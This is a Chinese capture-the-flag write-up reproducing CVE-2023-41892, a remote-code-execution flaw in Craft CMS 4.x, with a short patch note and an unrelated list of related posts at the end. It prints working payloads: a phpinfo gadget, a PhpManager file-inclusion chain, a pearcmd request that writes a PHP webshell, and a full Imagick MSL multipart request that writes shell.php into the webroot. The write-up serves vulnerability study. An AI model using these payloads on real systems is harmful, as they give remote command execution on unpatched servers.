CVE-2023-41892 漏洞复现

CVE-2023-41892

开题,是一个RCE

Thanks for installing Craft CMS!

You're looking at the index.twig template file located in your templates/ folder. Once you're ready to start building out your site's front end, you can replace this with something custom.

If you're new to Craft CMS, take some time to check out the resources on the right when you get a chance---especially Discord and Stack Exchange. The Craft community is full of smart, friendly, and helpful people!

感谢您安装Craft CMS!

你在看 index. twig模板文件位于您的templates/文件夹。一旦你准备好开始构建你的网站前端,你可以用一些自定义的东西来代替它。

如果您是Craft CMS的新手,请在有机会的时候花点时间查看右侧的资源,尤其是Discord和Stack Exchange。手工艺社区充满了聪明、友好和乐于助人的人!

网上搜索Craft CMS 漏洞

CVE-2023-41892 CraftCMS远程代码执行漏洞分析 | Bmth's blog (bmth666.cn)

这个CMS有三个洞。Affected versions>= 4.0.0-RC1 , <= 4.4.14

1、vendor\guzzlehttp\psr7\src\FnStream.php存在call_user_func,可执行phpinfo();

复制代码
action=conditions/render&configObject=craft\elements\conditions\ElementCondition&config={"name":"configObject","as ":{"class":"\\GuzzleHttp\\Psr7\\FnStream","__construct()":[{"close":null}],"_fn_close":"phpinfo"}}

2、vendor\yiisoft\yii2\rbac\PhpManager.php处存在require 文件包含。调用链如下:

php 复制代码
yii\base\BaseObject::__construct()
    yii\rbac\PhpManager::init()
        yii\rbac\PhpManager::load()
            yii\rbac\PhpManager::loadFromFile()

这个漏洞我们可以用来包含日志文件,包含日志文件payload如下:

复制代码
action=conditions/render&configObject=craft\elements\conditions\ElementCondition&config={"name":"configObject","as ":{"class":"\\yii\\rbac\\PhpManager","__construct()":[{"itemFile":"/var/www/html/craft/storage/logs/web-2023-09-26.log"}]}}

但是这题包含日志文件无效。但是这里可以使用pearcmd文件包含。

payload:(写入木马)

复制代码
/index.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?= system($_POST[1]);?>+/tmp/j.php

action=conditions/render&configObject=craft\elements\conditions\ElementCondition&config={"name":"configObject","as ":{"class":"\\yii\\rbac\\PhpManager","__construct()":[{"itemFile":"/usr/local/lib/php/pearcmd.php"}]}}

我们会发现直接读取/flag文件是没有内容的,但是我们可以执行/readflag脚本。

payload:(getshell)

复制代码
action=conditions/render&configObject=craft\elements\conditions\ElementCondition&config={"name":"configObject","as ":{"class":"\\yii\\rbac\\PhpManager","__construct()":[{"itemFile":"/tmp/j.php"}]}}&1=cd /;./readflag
复制代码
cyberpeace{b68aa7baed26c658ba658d116ffede43}

3、Imagick原生类存在任意文件写入漏洞。

------------------------------------【以下是摘抄原文】------------------------------------

需要环境:php-imagick

Imagick 类,它的构造函数只有一个参数,可以是字符串或字符串数组。

一、MSL

MSL全称是Magick Scripting Language,它是一种内置的 ImageMagick 语言,其中存在两个标签<read><write>可以用于读取和写入文件,这个 Trick 的核心就是利用这两个标签写入任意文件Webshell

https://imagemagick.org/script/conjure.php#msl

二、vid协议

ImageMagick中有一个协议vid:https://github.com/ImageMagick/ImageMagick/blob/d2a918098878bd73a57a34b901b5ae85c0c8d17f/coders/vid.c#L98,会调用 ExpandFilenames 函数

可以用于包裹其他协议或者文件名,其增加了对 glob 通配符的支持,这样我们就可以通过*的方式来包含一些我们不知道完整文件名的文件

即使用new Imagick('vid:msl:/tmp/php*');让 Imagick 加载并解析 PHP 上传的临时文件

三、漏洞利用

  1. <read>标签可以读取一个图片,图片可以来自于远程http,也可以来自于本地
  2. <write>标签可以将前面获取的图片写入到另一个位置,而且文件名可控
  3. <comment>标签可以给生成的图片加注释,所以我们将Webshell编码后放在这个标签里即可

一种方法就是利用本地图片,POC:

复制代码
XML
<?xml version="1.0" encoding="UTF-8"?>
<image>
<read filename="/usr/share/doc/ImageMagick-7/www/wand.png"/>
<comment>HTML实体编码后的Webshell</comment>
<write filename="shell.php" />
</image>

还有一种方法就是使用caption:info:协议

最后的请求如下:

复制代码
PLAINTEXT
POST /index.php HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36
Accept: */*
Host: 192.168.111.178:8080
Accept-Encoding: gzip, deflate
Connection: close
Content-Type: multipart/form-data; boundary=--------------------------974726398307238472515955
Content-Length: 850

----------------------------974726398307238472515955
Content-Disposition: form-data; name="action"

conditions/render
----------------------------974726398307238472515955
Content-Disposition: form-data; name="configObject"

craft\elements\conditions\ElementCondition
----------------------------974726398307238472515955
Content-Disposition: form-data; name="config"

{"name":"configObject","as ":{"class":"Imagick", "__construct()":{"files":"vid:msl:/tmp/php*"}}}
----------------------------974726398307238472515955
Content-Disposition: form-data; name="image"; filename="poc.msl"
Content-Type: text/plain

<?xml version="1.0" encoding="UTF-8"?>
<image>
<read filename="caption:&lt;?php system($_REQUEST['cmd']); ?&gt;"/>
<write filename="info:/var/www/html/craft/web/shell.php">
</image>
----------------------------974726398307238472515955--

虽然能成功写入,但是执行后会造成 Segmentation fault (core dumped) ,可能导致程序崩溃服务关闭,所以一般不建议使用该方法。

------------------------------------【以上是摘抄原文】------------------------------------

在本题中,可以利用vid来写入文件到/tmp目录下。同时再利用第二点vendor\yiisoft\yii2\rbac\PhpManager.php处存在require 文件包含来包含我们写入的木马文件。

漏洞修复

使用Component::cleanseConfig对传入的 config 进行处理

移除所有以on or as 开头的键

大多理论知识来自于 Bmth师傅的文章。

相关推荐
世界尽头与你1 小时前
CVE-2024-28188_ Jupyter Scheduler 安全漏洞
安全·网络安全·jupyter
云计算练习生1 小时前
渗透测试行业术语扫盲(第一篇)—— 基础网络与协议类术语
网络·网络协议·安全·网络安全·渗透测试·渗透测试术语
clown_YZ3 小时前
Glacier CTF 2025--部分题解
网络安全·逆向·ctf
pandarking8 小时前
[CTF]攻防世界:SSRF Me
web安全·ctf
聊询QQ:688238869 小时前
线性参变(LPV)+鲁棒模型预测控制(RMPC)+路径跟踪(PTC),目前能实现20-25m/...
web安全
汤愈韬9 小时前
知识点4:Nat Server的Server-map 跟ASPF中的server map区别与联系
网络协议·网络安全·security·huawei
苦瓜炒蛋挞10 小时前
小迪安全第二十三天-安全开发-PHP应用&后台模块Cookie&Session&Token
网络安全·小迪安全
视觉&物联智能10 小时前
【杂谈】-音频深度伪造技术:识别与防范全攻略
人工智能·web安全·ai·aigc·音视频·agi
汤愈韬1 天前
知识点3:动态目的NAT的配置总结
网络·网络协议·网络安全·security·huawei